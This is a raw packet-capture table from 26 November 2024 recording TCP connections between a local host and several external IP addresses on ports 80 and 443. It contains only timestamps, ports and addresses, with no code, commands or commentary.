Nov 26, 2024 22:52:52.316734076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.316895962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.412853956 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.412942886 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.413018942 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.413525105 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.413547993 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.413628101 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.413635015 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.418978930 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.419032097 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.419195890 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.419478893 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.419498920 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.430289030 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.430362940 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.430382967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.430429935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.430766106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.430778980 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.430857897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.431664944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.431916952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.431941986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.432478905 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.432512999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.432673931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.432821035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.432913065 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.432924986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.432991982 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.433747053 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.433801889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.433840036 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.434056997 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.434645891 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.434827089 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.434878111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.435528994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.435642004 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.436197042 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.436294079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.436361074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.436717033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.436816931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.436847925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.437644958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.437781096 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.437928915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.438028097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.438534021 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.438652992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.438757896 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.439480066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.439563990 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.439620972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.440356970 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.440471888 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.440485954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.440692902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.441313028 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.441325903 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.441433907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.442177057 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.442266941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.536115885 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.536199093 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.536427021 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.542804956 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.542804956 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.542828083 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.542840004 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.544445992 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.544480085 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.544538021 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.544569016 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.544604063 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.548901081 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.548923969 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.549364090 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.549370050 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.551232100 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:52.554924011 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:52.554946899 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:52.555535078 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:52.555535078 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:52.555541992 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:52.555555105 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:52.557915926 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.557955980 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.558120966 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.560357094 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.560374022 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.561106920 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.561153889 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.561271906 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.561391115 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.561414957 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.618998051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.634939909 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.635485888 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.635514021 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.638992071 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:52.638998032 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.738904953 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.073926926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.073987007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.074038982 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.074049950 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.074083090 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.074189901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.074224949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.074961901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.075001001 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.075082064 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.075182915 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.075830936 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.075939894 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.075948000 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.075973034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.076736927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.076778889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.076807022 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.076843977 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.077651024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.077725887 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.077754974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.077871084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.090363026 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.090396881 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.090451002 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.090503931 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.090689898 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.090707064 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.090725899 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.090730906 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.093554974 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.093590975 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.093657970 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.093821049 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.093832970 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.138590097 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.139112949 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.139127970 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.139554024 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.139559031 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.192399979 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.193815947 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.193846941 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.194356918 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.194869041 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.194963932 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.195048094 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.198143959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.198194027 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.198278904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.198318958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.198529005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.198570967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.198661089 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.198745012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.198784113 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.199218035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.199270964 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.199328899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.199369907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.200124025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.200164080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.200220108 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.200258017 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.201033115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.201086044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.201118946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.201251030 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.201922894 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.201970100 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.202043056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.202080965 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.202851057 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.202894926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.202976942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.203068972 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.203744888 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.203819990 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.203855038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.203890085 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.204663992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.204709053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.204824924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.205045938 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.205569983 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.205610037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.205686092 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.205723047 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.206485987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.206533909 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.206568956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.206777096 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.239322901 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.239814043 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.278960943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.279016018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.279228926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.279273987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.309390068 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.309415102 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.309484959 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.309497118 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.309549093 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.309549093 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.309912920 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.309912920 CET	49883	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.309941053 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.309954882 CET	443	49883	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.337080956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.337191105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.337255955 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.337555885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.337610006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.337651968 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.338421106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.338469028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.338500977 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.339155912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.339204073 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.339236975 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.340061903 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.340104103 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.340162992 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.340197086 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.340969086 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.341077089 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.341114998 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.341861963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.341958046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.341996908 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.342758894 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.342863083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.342914104 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.343674898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.343720913 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.343790054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.343889952 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.344600916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.344722986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.344777107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.345483065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.345592022 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.345640898 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.346410990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.346466064 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.346467972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.346502066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.347296000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.347345114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.347414017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.347450972 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.348256111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.348373890 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.348419905 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.349132061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.349194050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.349215984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.349251986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.350043058 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.350092888 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.350152969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.350186110 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.350915909 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.350974083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.351036072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.351085901 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.351830006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.351877928 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.351936102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.351968050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.352749109 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.352799892 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.352874041 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.352906942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.353775024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.353821993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.353929043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.353975058 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.354538918 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.354657888 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.354700089 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.355479002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.355535030 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.355566025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.355601072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.356511116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.357075930 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.386288881 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.386333942 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.386436939 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.386653900 CET	49892	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:53.386670113 CET	443	49892	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:53.461728096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.461838961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.461930037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.462119102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.462271929 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.462328911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.462364912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.462462902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.463238955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.463316917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.463458061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.463501930 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.464111090 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.464150906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.464260101 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.464308977 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.465039015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.465082884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.465136051 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.465176105 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.465962887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.466032028 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.466072083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.466825008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.467022896 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.467071056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.467701912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.467746973 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.467792034 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.468144894 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.468658924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.468718052 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.468738079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.468784094 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.469554901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.469634056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.469664097 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.469701052 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.470423937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.470591068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.470640898 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.471327066 CET	80	49801	185.215.113.206	192.168.2.7
